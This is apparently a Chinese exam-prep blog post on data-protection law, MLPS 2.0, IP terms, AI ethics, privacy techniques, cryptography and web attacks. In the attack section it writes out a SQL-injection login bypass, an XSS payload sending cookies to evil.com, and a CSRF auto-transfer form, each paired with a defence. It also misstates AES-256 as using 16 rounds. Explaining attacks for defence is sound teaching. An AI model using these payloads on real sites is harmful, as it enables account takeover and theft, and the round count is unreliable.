伦理法律与信息安全

这一篇是「人工智能训练师基础」系列的收尾篇，专门把”伦理法律与信息安全”这一章拎出来细讲。这一章在大纲里属于了解即可的内容，看着不起眼，但概念特别密集、年份特别多、各种”谁管谁””哪个对哪个不对”特别容易混淆，是知识梳理的重点。讲解风格和前几篇保持一致：博客串讲，生活化类比，不用表格不用图，每个补充点都给你具体的输入输出例子，目标是”听明白、理得清”。

下面正式开始，先从数据隐私这条最容易混日期和管辖范围的主线讲起。

---

数据隐私与安全：日期和管辖范围是命门

数据隐私相关法律日期必须记准，以下均已通过网络查证。这块的特点很统一：要么记施行日期，要么记”某件事归哪个法管”，所以下面的内容你重点记两样——时间和管辖范围。

GDPR：欧盟的数据保护标杆

GDPR（《通用数据保护条例》）是欧盟法规，2016 年 4 月通过，2018 年 5 月 25 日正式施行。要点：适用范围广（不管企业在不在欧盟，只要处理欧盟公民个人数据就受管辖，这叫”长臂管辖”）、强调用户知情同意、违规最高罚款 2000 万欧元或全球年营业额 4%（取高者）。

光记这些还不够，GDPR 给数据主体（也就是普通用户）规定了一堆权利，常见的问题是”下列哪些属于 GDPR 规定的数据主体权利”，你得能挑出来。重点记这几条：

第一是知情权，收集你数据之前必须明确告诉你”收什么、干嘛用、收多久”，不能再悄悄摸摸地拿。

第二是访问权，你有权问企业”你到底存了我哪些数据”，企业必须如实回答。

第三是被遗忘权（Right to Erasure），也叫删除权。你可以在特定情形下要求企业把你的个人数据删掉，比如数据已经没必要再处理了、你撤回了同意、或者处理本身违法。注意这不是绝对的，企业有合法理由（比如履行法律义务、言论自由）可以拒绝。被遗忘权是 GDPR 最有名的一条，是重点知识。

第四是数据可携带权（Right to Data Portability）。你提供给企业的个人数据，你有权要回来，而且要的是”结构化、常用、机器可读”的格式，还能要求直接传给另一家企业。比如你在 A 音乐平台攒的播放列表，可以要求导出一份并传给 B 平台，这就是数据可携带权。它的目的是防止数据被平台锁死、促进竞争。

第五是反对权，你有权反对企业基于合法利益或直接营销目的处理你的数据，特别是反对画像（profiling）。

第六是限制处理权，在某些情形下（比如数据准确性有争议、处理违法但你不想删除），你可以要求企业”先别删也别用，但存着”。

第七是与自动化决策相关的权利，包括完全基于算法的自动决策和画像（比如自动评分决定能不能贷款），你有权要求人工介入、表达自己的观点。

记个口诀：”知情访问可携带，被遗忘、可反对、限制处理、自动决策要人工”。看到选项里出现”被遗忘权””数据可携带权””反对画像权”，统统勾上。

个人信息保护法：中国的数据保护主法

中国《个人信息保护法》2021 年 8 月 20 日通过，2021 年 11 月 1 日起施行。核心原则：合法、正当、必要、诚信；以”告知—同意”为核心规则；禁止”大数据杀熟”（同样的服务对不同人定不同价）；处理敏感个人信息、向他人提供、跨境传输等环节要取得单独同意。

这里有个重点是”敏感个人信息”的定义和处理要求，原文没展开，咱补上。

敏感个人信息是一旦泄露或者非法使用，容易导致自然人的人格尊严受到侵害或者人身、财产安全受到危害的个人信息，具体包括七大类：生物识别（指纹、人脸、虹膜）、宗教信仰、特定身份、医疗健康、金融账户、行踪轨迹，以及不满 14 周岁未成年人的个人信息。注意，”不满 14 周岁未成年人”这个知识点要重点记，它单独列了一类，不是”儿童的医疗健康”这种组合，而是只要涉及未成年人信息就算敏感。

敏感个人信息的处理要求比一般信息严格得多：一是必须有特定的目的和充分的必要性，二是要取得单独同意（不能混在一大堆同意里让你一并勾），三是要做个人信息保护影响评估，四是要采取严格保护措施。也就是说，一般个人信息只要你点了”同意”就能处理，敏感个人信息得单独再点一次同意，并且企业要专门评估风险。

还有个常见点是”告知—同意”规则。处理个人信息原则上要告知信息主体并取得同意，例外情形包括：为订立或履行合同所必需、为履行法定职责或法定义务所必需、为应对突发公共卫生事件、为新闻报道等公共利益、在合理范围内处理自行公开或其他已合法公开的个人信息、法律法规规定的其他情形。这几条例外容易混，记住”合同必需、法定义务、公共卫生、新闻公益、已公开信息”五个例外。

三部法律对比：网络安全法、数据安全法、个人信息保护法

数据安全这块要分清三个法，这是容易混淆的重点。原文只给了日期，咱把三部法的管辖范围和定位对比讲清楚。

网络安全法，2017 年 6 月 1 日施行（注意是 6 月 1 日，不是 9 月 1 日，容易和数据安全法搞混）。它管的是网络运行安全，定位是”保障网络安全，维护网络空间主权和国家安全”。核心制度是网络安全等级保护制度（等保的法律依据就在这部法里），关键信息基础设施保护也在这部法。一句话概括：管”网络这个基础设施本身安不安全”。

数据安全法，2021 年 9 月 1 日施行。它管的是数据处理活动，定位是”规范数据处理活动，保障数据安全，促进数据开发利用”。核心制度是数据分类分级保护制度（把数据按重要程度分等级管理）、重要数据目录制度、数据安全风险评估制度。一句话概括：管”数据这个对象本身安不安全、能不能跨境”。

个人信息保护法，2021 年 11 月 1 日施行。它管的是个人信息处理活动，定位是”保护个人信息权益，规范个人信息处理活动，促进个人信息合理利用”。核心规则是”告知—同意”，强调个人对自身信息的控制权。一句话概括：管”个人信息这块涉及个人权益的数据怎么处理”。

三部法的区别用一句话锚定：网络安全法管基础设施、数据安全法管数据对象、个人信息保护法管个人信息权益。再换个角度记：网安法问”网络通不通畅、保不保护得了”、数安法问”数据分不分得清级别、能不能出境”、个保法问”个人信息有没有经过用户同意”。

三者构成我国网络数据法律体系主干，有交叉但不重复，比如一份医疗数据，传输时涉及网络安全法、存储分级时涉及数据安全法、涉及患者个人信息时还涉及个人信息保护法，三部法同时适用。

等保2.0：等级保护制度详解

网络安全等级保护（等保 2.0）：核心标准是 GB/T 22239-2019《信息安全技术 网络安全等级保护基本要求》，2019 年 5 月 10 日发布，2019 年 12 月 1 日实施。等保 2.0 相比 1.0 把云计算、大数据、物联网、移动互联、工业控制纳入监管，强调”一个中心、三重防护”。不开展等级保护属于违法（依据网络安全法）。三级以上每年要做测评。

原文只说了”分五个保护等级（一级自主保护级到五级专控保护级）”，咱把五个等级的具体划分标准补上。等保的等级划分依据是”信息系统受到破坏后，对公民、法人合法权益、社会秩序、公共利益、国家安全造成的损害程度”：

第一级，自主保护级。信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益。这一级由运营单位自主保护，不强制测评。

第二级，指导保护级。受到破坏后，会对公民、法人和其他组织的合法权益造成严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全。这一级要报公安机关备案，建议定期测评。

第三级，监督保护级。受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害。这一级是国家强制监督的，每年至少测评一次，是大多数涉及公共利益的重要系统的标配。

第四级，强制保护级。受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害。这一级强制要求每半年至少测评一次，涉及国家核心系统。

第五级，专控保护级。受到破坏后，会对国家安全造成特别严重损害。这一级由专门部门专门控制，公安网安直接管。

记口诀：”一自主、二指导、三监督、四强制、五专控”。常见的问题是”哪个等级每年至少测评一次”——答案是三级；”哪个等级每半年测评一次”——答案是四级。

再讲”一个中心、三重防护”的含义。这是等保 2.0 的核心架构思想，是重点内容。一个中心指安全管理中心，负责集中管控、统一策略下发、安全态势感知。三重防护指三个层面的安全防护：

一是安全通信网络，对应原来的网络层防护，管通信传输的加密、网络边界隔离、链路冗余等。

二是安全区域边界，对应原来的边界层防护，管网络区域划分、访问控制、入侵防范、恶意代码防范等。

三是安全计算环境，对应原来的主机和应用层防护，管服务器、终端、应用系统、数据本身的安全。

一句话记忆：”一个中心集中管，通信网络、区域边界、计算环境三层防护”。和 1.0 比，2.0 把防护对象从”信息系统”扩展到了”网络基础设施、信息系统、大数据、云计算、物联网、工控系统”，覆盖面更广。

知识产权：专利、著作权、商标权对比

知识产权这块原文给了一串期限但没对比，咱把三种主要权利的保护期限和取得方式理清楚，这是容易混的重点。

专利权保护的是技术发明，三种类型和保护期都不同：发明专利保护期 20 年，实用新型专利保护期 10 年，外观设计专利保护期 15 年，均自申请日起算。取得方式都是申请制，由国家知识产权局审查授权，发明和实用新型要经过实质审查（发明有早期公开、实质审查两阶段，实用新型只做形式审查），外观设计也只做形式审查。注意”自申请日起算”不是”自授权日起算”，这俩差好几年，容易混。

著作权保护的是文学、艺术、科学作品，取得方式是”自动产生”，也就是作品创作完成那一刻起就享有著作权，不需要登记。这是和专利最大的区别——专利要申请授权，著作权完成即取得。保护期一般是作者终生及其死亡后 50 年（自然人是终生加 50 年，法人作品是发表后 50 年）。软件著作权属于著作权的一种，登记不是取得条件但便于举证。

商标权保护的是商品或服务的标识，保护期 10 年，自核准注册之日起算。取得方式是注册制，向国家知识产权局商标局申请注册。期满可以续展，每次续展 10 年，理论上可以无限续展（只要持续使用并按时续展），这是商标和专利、著作权不同的地方——专利到期进公有领域，商标可以一直续。

记口诀：”专利要申请、著作权自动、商标要注册；发明 20 实用 10 外观 15（都自申请日）、著作权终生加 50、商标 10 年可续展”。常见的问题是”下列哪种知识产权不需要登记或注册即取得”——答案是著作权；”哪种可以无限续展”——答案是商标权。

---

AI伦理：让AI不偏不倚、可解释、可追责

这块虽然占比不高，但概念容易混，尤其是和信息安全混在一起的内容。

算法偏见与可解释性

算法偏见：训练数据里的偏见会被模型放大，导致对某些群体不公平。比如用一个只有男性简历的历史数据训练的招聘模型，可能系统性地给女性打低分，这不是模型有恶意，而是它”学”到了数据里的偏见。缓解办法：数据均衡采样（让各群体在数据里比例合理）、公平性约束（在损失函数里加公平性惩罚项）、去偏算法（在训练前后做去偏处理）。

可解释性：深度学习是”黑箱”，决策过程不透明，在医疗、金融、司法等高风险场景不可接受。比如一个 AI 拒绝了你的贷款申请，你得能知道为什么，否则就是”机器说了算”的黑箱。应对有可解释 AI（XAI）方向，比如 LIME（局部可解释模型，在预测点附近用一个简单线性模型近似）、SHAP（基于博弈论的 Shapley 值，给每个特征算一个贡献分）等方法。

差分隐私：加噪声保护个体

隐私保护这块原文提了差分隐私但没展开，咱补上原理和一个简单示例。

差分隐私的核心思想是在查询结果里加一点随机噪声，让攻击者无法判断”某个具体个体的数据在不在数据集里”。形式化定义是：对于任意两个只差一条记录的数据集 D 和 D’（D 里有 Alice，D’ 里没有 Alice），查询结果 M(D) 和 M(D’) 的分布非常接近。换句话说，”有 Alice 没 Alice，查询结果差不多”，所以攻击者没法从结果倒推出 Alice 在不在。

举个直观例子。假设一个公司想发布”员工平均工资”，但不想暴露任何一个具体员工的工资。不加噪声的话，如果攻击者知道全公司除 Alice 外的工资，他可以反算出 Alice 的工资（用平均值反推）。差分隐私的做法是：在计算平均值之后，加一个服从拉普拉斯分布的噪声，比如加上 ±500 元的随机扰动。

具体走一遍：假设 100 个员工，平均工资真实值是 10000 元。Alice 是其中一个员工。攻击者想知道 Alice 在不在公司。差分隐私的做法是查询时输出”10000 + 噪声”，噪声是均值为 0、尺度为敏感度/ε 的拉普拉斯随机数（ε 越小隐私越强、结果越不准）。Alice 在不在，对平均值的影响顶多是她自己的工资除以 100，比如她工资是 8000，对均值的影响是 -20 元。而噪声的尺度比 20 大得多，所以攻击者从含噪声的结果里完全分不出这 ±20 的差别，Alice 的隐私就被保护了。

一个简单的 Python 实现长这样：

import numpy as np

def dp_mean(data, epsilon, sensitivity):
    # 真实均值
    true_mean = np.mean(data)
    # 加拉普拉斯噪声，scale = sensitivity / epsilon
    noise = np.random.laplace(0, sensitivity / epsilon)
    return true_mean + noise

# 100 个员工工资
salaries = np.array([8000, 9500, 12000, ...])  # 假设有 100 个数
# epsilon 越小隐私越强，sensitivity 是工资变化对均值的最大影响
result = dp_mean(salaries, epsilon=0.1, sensitivity=100)
print(result)  # 比如输出 10042.3，下次可能输出 9987.1

关键记两点：ε（epsilon）是隐私预算，越小越隐私越不准；噪声服从拉普拉斯分布，尺度由敏感度除以 ε 决定。

联邦学习：数据不动模型动

联邦学习原文也只提了一句话，咱把基本流程和为什么能保护隐私讲清楚。

传统训练是把所有数据汇总到一个中央服务器上训练模型，问题就是数据要离开本地，隐私风险大。联邦学习反过来，”数据不动模型动”——数据留在各自的设备上，只把训练好的模型参数（梯度）汇总到中央服务器。

基本流程走一遍：第一步，中央服务器初始化一个模型，把初始模型参数下发到各个客户端（比如手机、医院）。第二步，每个客户端用自己本地的数据训练模型，算出参数更新（梯度），但只把梯度发回给中央服务器，原始数据不外传。第三步，中央服务器把各个客户端发来的梯度做加权平均，得到新的全局模型参数。第四步，把更新后的全局模型再下发到各客户端，循环到收敛。

为什么能保护隐私？因为客户端之间、客户端和服务器之间传的只是”梯度”这种参数，不是原始数据。比如医院 A 不能直接看到医院 B 的病例，但医院 A 训练的模型参数里”学”到了医院 B 的某些统计特征，这就是”知识共享、数据不共享”。

不过光联邦学习还不够安全——梯度本身也可能被反演出原始数据，所以常常和差分隐私、安全多方计算（SMPC）、同态加密组合使用，进一步加固。

记一句话：”数据不动模型动，客户端算梯度、中央聚合参数、原始数据不外传”。

其他要点

责任归属：自动驾驶出事故谁负责、AI 生成内容侵权谁担责，目前法律还在完善【需网络查询确认：国内具体 AI 责任划分细则仍在制定中】。常见的问题是”下列哪些是 AI 伦理需要解决的问题”，把责任归属、算法偏见、可解释性、隐私保护、对齐问题都勾上。

对齐问题：让 AI 目标和人类价值观对齐，避免有害输出。前面讲 RLHF 和 DPO 时提过，对齐就是把模型调成”人觉得好的回答”，防止它生成有害、误导、违规的内容。

AI 伦理原则国际上有共识的几条：公平、透明、可解释、隐私保护、安全可靠、责任可追溯、以人为本。我国发布的《新一代人工智能伦理规范》强调”增进人类福祉、促进公平公正、保护隐私安全、确保可控可信、强化责任担当、提升伦理素养”等原则【需网络查询确认：该规范由新一代人工智能治理专业委员会 2021 年发布，具体发布日期建议核对】。

---

信息安全与常见攻击：把原理讲明白才不会混

这块原文讲解偏简略，每个攻击只给了一句话，但要掌握原理细节和防御代码，咱一个一个讲透。

CIA三要素：安全设计的根本目标

网络安全基础：CIA 三要素——机密性（Confidentiality，防泄露）、完整性（Integrity，防篡改）、可用性（Availability，防中断）。这是安全设计的根本目标，所有安全措施都在保护这三样。原文就一句话带过，咱把每个要素的具体含义和对应的安全措施补上。

机密性（Confidentiality）：保证信息只让有权限的人看到，防止泄露给未授权者。对应的安全措施包括：加密（对称加密、非对称加密）、访问控制（身份认证、权限管理）、数据脱敏、物理隔离。比如你的银行密码用哈希存储而不是明文，这就是保护机密性。

完整性（Integrity）：保证信息在传输和存储过程中不被未授权地篡改，哪怕被篡改了也能被发现。对应的安全措施包括：哈希校验、数字签名、消息认证码（MAC）、校验和。比如你下载一个安装包，官方会提供哈希值，你下载后算一次哈希对一下，一致就说明没被篡改，这就是完整性保护。

可用性（Availability）：保证授权用户在需要时能访问到信息和系统，防止服务被中断。对应的安全措施包括：冗余备份（3-2-1 备份原则）、负载均衡、容灾恢复、DDoS 防护、UPS 不间断电源。比如服务器被 DDoS 打瘫了用户访问不了，这就是可用性被破坏。

记口诀：”机密防偷看、完整防篡改、可用防打瘫”。看到描述里说”加密””访问控制”是机密性，”哈希””数字签名”是完整性，”备份””容灾””防 DDoS”是可用性。

密码学原理：对称、非对称、哈希

密码学原理分对称加密和非对称加密。这块原文给了一句话，咱把每个算法的应用场景和具体过程讲透。

对称加密：同一把钥匙开锁

对称加密：加密和解密用同一把密钥，快，适合大数据量。代表算法 AES（目前主流）、DES（老了，56 位密钥不安全，已淘汰）。问题是密钥怎么安全分发。

AES 是目前最主流的对称加密算法，咱把它的基本原理和应用场景补上。AES 全称 Advanced Encryption Standard，是美国国家标准与技术研究院（NIST）在 2001 年发布的，用来替代不安全的 DES。AES 是分组密码，把明文切成固定大小的块（128 位一块），然后一块一块地加密。密钥长度有 128、192、256 位三种，对应 AES-128、AES-192、AES-256，位数越多越安全但越慢。

AES 内部用的是”代换—置换网络”，对每个 128 位块做多轮操作。一轮里包括四步：字节代换（SubBytes，用一个固定的 S 盒做非线性代换）、行移位（ShiftRows，把矩阵的行循环移位）、列混淆（MixColumns，做矩阵乘法混淆数据）、轮密钥加（AddRoundKey，异或一个轮密钥）。AES-128 要做 10 轮、AES-192 做 12 轮、AES-256 做 16 轮。具体细节不用背，记住”AES 是分组密码、块大小 128 位、密钥 128/192/256 位、轮数 10/12/16”就够。

应用场景：AES 适合加密大数据量，比如硬盘加密（BitLocker、FileVault 用 AES）、HTTPS 里实际传输数据的加密（TLS 握手后用 AES 加密应用数据）、文件加密、数据库字段加密。一句话：”对称加密快、加密大数据、AES 是主力、块大小 128 位”。

Python 里用 AES 加密一段文本：

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

# 密钥必须是 16/24/32 字节，对应 AES-128/192/256
key = b'thisisa16bytekey'  # 16 字节密钥
cipher = AES.new(key, AES.MODE_ECB)  # 简单起见用 ECB 模式

plaintext = "Hello AES Encryption"
# AES 是分组密码，明文长度要是 16 的倍数，所以要填充
padded = pad(plaintext.encode(), AES.block_size)
ciphertext = cipher.encrypt(padded)
print(base64.b64encode(ciphertext))  # 输出比如 b'...'

# 解密
cipher2 = AES.new(key, AES.MODE_ECB)
decrypted = unpad(cipher2.decrypt(ciphertext), AES.block_size)
print(decrypted.decode())  # 输出 Hello AES Encryption

注意 ECB 模式不安全（相同明文块加密后相同，泄露模式），实战用 CBC 或 GCM 模式，这里只是演示原理。

非对称加密：公钥锁私钥开

非对称加密：一对密钥（公钥加密、私钥解密，或反过来私钥签名、公钥验签），慢，适合小数据和密钥交换。代表 RSA（基于大数分解难题）、ECC（椭圆曲线）。实际中混合用：用非对称加密安全交换一个对称密钥，再用对称密钥加密实际数据（HTTPS 就是这么干的）。

RSA 是最经典的非对称加密算法，咱把加密解密和数字签名的具体过程走一遍，这是重点知识。

RSA 的基础是大数分解难题：把两个大素数 p 和 q 相乘得到 N 很容易，但反过来给定 N 找出 p 和 q 极难。RSA 的密钥生成分四步：第一步，选两个大素数 p 和 q；第二步，算 N = p × q（这就是公钥的一部分，长度就是密钥长度，比如 2048 位）；第三步，算欧拉函数 φ(N) = (p-1)(q-1)；第四步，选一个公钥指数 e（通常选 65537），再算私钥指数 d，使 e × d ≡ 1 (mod φ(N))。最终公钥是 (N, e)，私钥是 (N, d)。

RSA 加密过程：发送方拿到接收方的公钥 (N, e)，把明文 m 转成一个大整数，算密文 c = m^e mod N，发出去。接收方收到密文 c，用私钥 (N, d) 算 m = c^d mod N，还原出明文。一句话：公钥加密、私钥解密。

举个极简例子走一遍（用小数字方便理解，真实用的是几百位的大数）：选 p=3、q=11，N=33，φ(N)=(3-1)(11-1)=20。选 e=3（和 20 互素），算 d 使 3d ≡ 1 (mod 20)，得 d=7（因为 3×7=21≡1 mod 20）。公钥是 (33, 3)，私钥是 (33, 7)。要加密明文 m=2，算 c = 2^3 mod 33 = 8。解密算 m = 8^7 mod 33 = 2097152 mod 33 = 2，还原成功。

数字签名：私钥签、公钥验

数字签名 = 用私钥对消息摘要加密，接收方用公钥验证，保证来源真实和内容完整。咱把发送方签名和接收方验签的完整步骤走一遍。

发送方签名的完整步骤：

第一步，发送方对原始消息 M 用哈希函数算出一个固定长度的摘要 h = Hash(M)，比如用 SHA-256 算出 256 位的摘要。

第二步，发送方用自己的私钥 (N, d) 对这个摘要做加密运算，得到签名 s = h^d mod N。注意这里是用私钥”加密”摘要（数学上和加密是同一个运算，只是用私钥），这个 s 就是数字签名。

第三步，发送方把原始消息 M 和签名 s 一起发给接收方。

接收方验签的完整步骤：

第一步，接收方收到 M 和 s，用同样的哈希函数对 M 算摘要，得到 h1 = Hash(M)。

第二步，接收方用发送方的公钥 (N, e) 对签名 s 做运算，得到 h2 = s^e mod N，这相当于把签名解密出摘要。

第三步，比较 h1 和 h2，相等说明签名有效（消息确实来自持私钥的人，且没被篡改），不相等说明被篡改或来源造假。

为什么这样能保证来源真实和内容完整？因为只有发送方有私钥，能算出 s；如果消息被篡改，接收方算出的 h1 就变了，但 h2 是从 s 解出来的不变，所以 h1 ≠ h2，验签失败。所以验签通过就意味着”消息来自持有私钥的人”且”消息没被改过”。

一个简化版 Python 示例（还是用上面那组小数字）：

# 发送方：用私钥 (N=33, d=7) 签名
def sign(message_hash, N, d):
    return pow(message_hash, d, N)

# 接收方：用公钥 (N=33, e=3) 验签
def verify(message_hash, signature, N, e):
    decrypted = pow(signature, e, N)
    return decrypted == message_hash

# 假设消息摘要（真实场景用 SHA-256 算出来的）
message_hash = 5
N, e, d = 33, 3, 7

# 发送方签名
signature = sign(message_hash, N, d)
print(signature)  # 输出 5^7 mod 33 = 78125 mod 33 = 14

# 接收方验签
ok = verify(message_hash, signature, N, e)
print(ok)  # 输出 True

# 如果消息被篡改，摘要变成 6
ok2 = verify(6, signature, N, e)
print(ok2)  # 输出 False

记口诀：”发送方私钥签、哈希算摘要；接收方公钥验、对摘要比一比”。

哈希函数：单向不可逆的指纹

哈希函数（MD5、SHA-1、SHA-256）把任意长数据压成定长摘要，用于完整性校验，单向不可逆。

先讲为什么哈希不可逆。哈希函数本质是一个把任意长度输入映射到固定长度输出的函数，比如 SHA-256 把任意长数据压成 256 位（32 字节）的摘要。不可逆的原因有两个：一是输出空间远小于输入空间——256 位的输出最多 2^256 种，但输入是任意长度，所以一定有大量不同输入映射到同一输出（这叫碰撞），但你没法从输出反推是哪个输入；二是哈希函数是设计成”不可逆”的，比如 SHA-256 内部经过大量位运算（与、或、非、异或、循环移位）和数据混合，每一步都让输入和输出的关系变得复杂到无法反推。所以哈希只能”正向算”，不能”逆向解”。

MD5 输出 128 位摘要，应用场景包括文件完整性校验（下载文件后算 MD5 和官方给的对比）、简单密码存储（现在已经不推荐，因为存在碰撞攻击，能人为构造两个不同文件有相同 MD5）。MD5 已经不推荐用于安全场景，但日常校验还在用。

SHA-256 输出 256 位摘要，是比特币挖矿用的哈希函数（算区块头的 SHA-256 找满足难度的哈希值），也是数字签名、TLS 证书、HTTPS 握手的首选哈希。SHA-256 比 MD5 安全得多，目前没有已知实用碰撞攻击。

应用场景记口诀：”MD5 已不推荐做安全、SHA-256 是数字签名和证书的首选、密码存储用 bcrypt 而不是直接哈希”。

一个 Python 示例：

import hashlib

# 同样的内容算出来的哈希永远一样
text = "Hello, World!"
h = hashlib.sha256(text.encode()).hexdigest()
print(h)  # 输出 dffd6021bb2bd5b0af676290809ec3a53191f8...

# 哪怕改一个字符，哈希完全不同
text2 = "Hello, World?"  # 感叹号变问号
h2 = hashlib.sha256(text2.encode()).hexdigest()
print(h2)  # 输出完全不同的 64 位十六进制串

# 从哈希反推原文？不可能
# hashlib 没提供反函数，因为哈希单向不可逆

常见Web攻击：原理、示例和防御

常见攻击各用一句话讲清原理是不够的，咱每种攻击都给一个具体示例和防御代码。

SQL注入：输入框里塞SQL代码

SQL 注入：攻击者在输入框里塞 SQL 代码，程序没做参数化校验，把输入拼进 SQL 语句执行，导致绕过登录、拖库。防御：参数化查询、输入过滤、最小权限原则。

来一个具体的注入示例。假设有个登录页面，后端代码这么写：

# 危险写法：直接字符串拼接
import sqlite3

def login_vulnerable(username, password):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
    cursor.execute(sql)
    return cursor.fetchone()

# 攻击者在用户名框输入：' OR '1'='1' --
# 拼出来的 SQL 是：
# SELECT * FROM users WHERE username='' OR '1'='1' --' AND password='xxx'
# '1'='1' 永远为真，-- 后面的密码判断被注释掉，直接返回所有用户，登录绕过

注意 ' OR '1'='1' -- 这个 payload 的妙处：单引号闭合前面的字符串，OR '1'='1' 让 WHERE 永远为真，-- 把后面的 SQL 注释掉。这一套组合拳就绕过了登录。

正确的参数化查询写法：

# 安全写法：参数化查询，让数据库自己处理转义
def login_safe(username, password):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    sql = "SELECT * FROM users WHERE username=? AND password=?"
    cursor.execute(sql, (username, password))  # 参数作为元组传入
    return cursor.fetchone()

# 现在攻击者输入 ' OR '1'='1' --
# 数据库把它当成普通字符串处理，不会当成 SQL 执行
# 查询不到匹配的用户，登录失败

参数化查询的关键是让数据库区分”SQL 结构”和”数据”——SQL 语句的骨架先确定，用户输入只作为数据填进去，永远不会被当成 SQL 解析。除了参数化查询，还要遵循最小权限原则（应用连数据库的账号只给最小必需权限，别用 root）。

XSS攻击：脚本注入网页

XSS（跨站脚本）：攻击者把恶意 JavaScript 注入到网页（比如评论区存一段脚本），其他用户访问时脚本在浏览器执行，可窃取 Cookie、劫持会话。防御：输出转义、CSP、HttpOnly Cookie。

来一个具体的脚本注入示例。假设一个评论区允许用户直接显示输入内容，后端没做转义：

# 危险写法：直接把用户输入拼到 HTML 里
def render_comment_bad(comment_text):
    return f"<div class='comment'>{comment_text}</div>"

# 攻击者在评论框输入：
# <script>document.location='https://evil.com/?cookie='+document.cookie</script>
# 后端渲染出来的 HTML 是：
# <div class='comment'><script>document.location='https://evil.com/?cookie='+document.cookie</script></div>
# 其他用户访问这个页面，浏览器执行 script，把 Cookie 发到 evil.com

注意这个 payload 的妙处：<script> 标签是合法的 HTML，浏览器看到就执行，document.cookie 能读到当前域下的 Cookie（除非设了 HttpOnly），然后通过 document.location 跳转到攻击者控制的 evil.com，把 Cookie 当参数传过去。

正确的输出转义写法：

# 安全写法：输出时把 < > & " ' 等特殊字符转义成 HTML 实体
import html

def render_comment_safe(comment_text):
    escaped = html.escape(comment_text)  # 把 < 转成 &lt; 等
    return f"<div class='comment'>{escaped}</div>"

# 现在攻击者输入同样的 <script>...</script>
# 转义后变成 &lt;script&gt;document.location=...
# 浏览器把它当成普通文本显示，不会执行

输出转义就是把 < 转成 <、> 转成 >、& 转成 &、" 转成 "，这样浏览器把它们当文本显示不当脚本执行。补充防御：CSP（Content Security Policy，响应头里限制能加载哪些来源的脚本）、HttpOnly Cookie（设了这个标志的 JS 读不到，防 XSS 偷 Cookie）。

CSRF攻击：借登录态发请求

CSRF（跨站请求伪造）：借用用户已登录身份发请求。用户登录了银行网站 A，浏览器存了 A 的 Cookie，然后访问恶意网站 B，B 里藏一个自动提交的表单指向 A 的转账接口，浏览器发请求时自动带上 A 的 Cookie，A 以为这是用户主动操作就执行了。防御靠 Token 和 Referer 校验。

来一个具体的攻击场景。用户登录了银行网站 bank.com，浏览器有 bank.com 的会话 Cookie。然后用户访问了 evil.com，evil.com 的页面里藏了这么一段：

<!-- evil.com 的恶意页面 -->
<form action="https://bank.com/transfer" method="POST" id="f">
    <input type="hidden" name="to" value="attacker_account">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>

用户访问 evil.com 这一刻，JavaScript 自动提交表单到 bank.com 的转账接口。因为浏览器发请求时会自动带上 bank.com 的 Cookie（这是浏览器的同源策略例外：Cookie 不受同源策略限制），bank.com 收到请求带着有效 Cookie，以为是用户本人操作，就执行了转账。

Token 防御的实现方式：服务器在用户登录时生成一个随机 Token，存在 session 里，也塞到表单的隐藏字段里。每次表单提交服务器比对表单里的 Token 和 session 里的 Token，一致才执行。evil.com 拿不到这个 Token（同源策略禁止 evil.com 读 bank.com 的页面内容），所以伪造的表单里没有有效 Token，请求被拒。

后端示例：

import secrets

# 登录时生成 CSRF Token
def login(user):
    token = secrets.token_hex(32)
    session['csrf_token'] = token
    return token  # 渲染到表单隐藏字段

# 处理 POST 请求时校验 Token
def transfer(amount, to_account, form_token):
    if form_token != session.get('csrf_token'):
        abort(403, 'CSRF Token 校验失败')
    # Token 一致才执行转账
    do_transfer(amount, to_account)

补充防御：Referer 校验（服务器检查请求的 Referer 头是不是来自自己的域名）、SameSite Cookie（设 Cookie 的 SameSite 属性为 Strict 或 Lax，限制跨站请求带 Cookie）。

中间人攻击：HTTPS如何防御

中间人攻击（MITM）：攻击者插在通信双方中间，伪装成双方互相通信，能窃听、篡改数据。比如你在咖啡店连免费 Wi-Fi，路由器其实是攻击者控制的，你发给银行的所有数据都被中间人看到甚至改了，你却以为在和银行直连。

HTTPS 如何防御中间人攻击？靠的是数字证书和证书颁发机构（CA）。走一遍完整过程：

第一步，服务器先向 CA 申请证书。CA 验证服务器身份后，用 CA 自己的私钥给服务器的公钥和信息签名，生成数字证书。浏览器和操作系统内置了受信任 CA 的公钥（叫根证书）。

第二步，客户端访问 HTTPS 网站时，服务器把证书发过来。客户端用内置的 CA 公钥验签这个证书——验签通过说明这个证书确实是受信任 CA 签的、没被篡改，证书里的公钥也就可信。

第三步，客户端生成一个随机的对称密钥（会话密钥），用证书里服务器的公钥加密发过去。中间人即使截获也解不开，因为他没有服务器的私钥。

第四步，之后双方用这个对称密钥加密通信。中间人篡改数据会被发现（HTTPS 有完整性校验），伪造数据也发不出（没有对称密钥）。

为什么中间人攻击在 HTTPS 下失败？因为中间人没法伪装成服务器——他没有受信任 CA 签的证书，客户端验签会失败；他也没法伪装成客户端——他解不开客户端用服务器公钥加密的会话密钥。所以 HTTPS 同时防了窃听（加密）、防了冒充（证书）、防了篡改（完整性校验）。

补充防御：证书锁定（Certificate Pinning，App 里硬编码信任某个证书，绕过系统 CA 列表）、VPN（在不可信网络上加密通信）。

DDoS攻击：海量请求打瘫服务

DDoS（分布式拒绝服务）：海量请求打瘫服务，防御靠流量清洗和 CDN。原文一句话带过，咱把不同类型 DDoS 的原理讲清楚。

DDoS 的本质是耗尽目标服务的资源（带宽、连接数、CPU、内存），让正常用户访问不了。分两大类：流量型（耗带宽）和应用型（耗应用资源）。

SYN Flood 是流量型的代表，针对 TCP 三次握手。攻击者大量发 SYN 包但不回第三次握手的 ACK，服务器为每个半开连接分配资源等待，资源耗尽后正常连接进不来。原理是利用 TCP 协议的设计：服务器收到 SYN 后会分配 TCB（传输控制块）等客户端的 ACK，等一段时间（几十秒）才超时释放，攻击者只要持续发 SYN，半开连接队列就满了。防御靠 SYN Cookie（服务器不分配资源，把信息编码到返回的 SYN-ACK 序号里，等真正收到 ACK 才建立连接）。

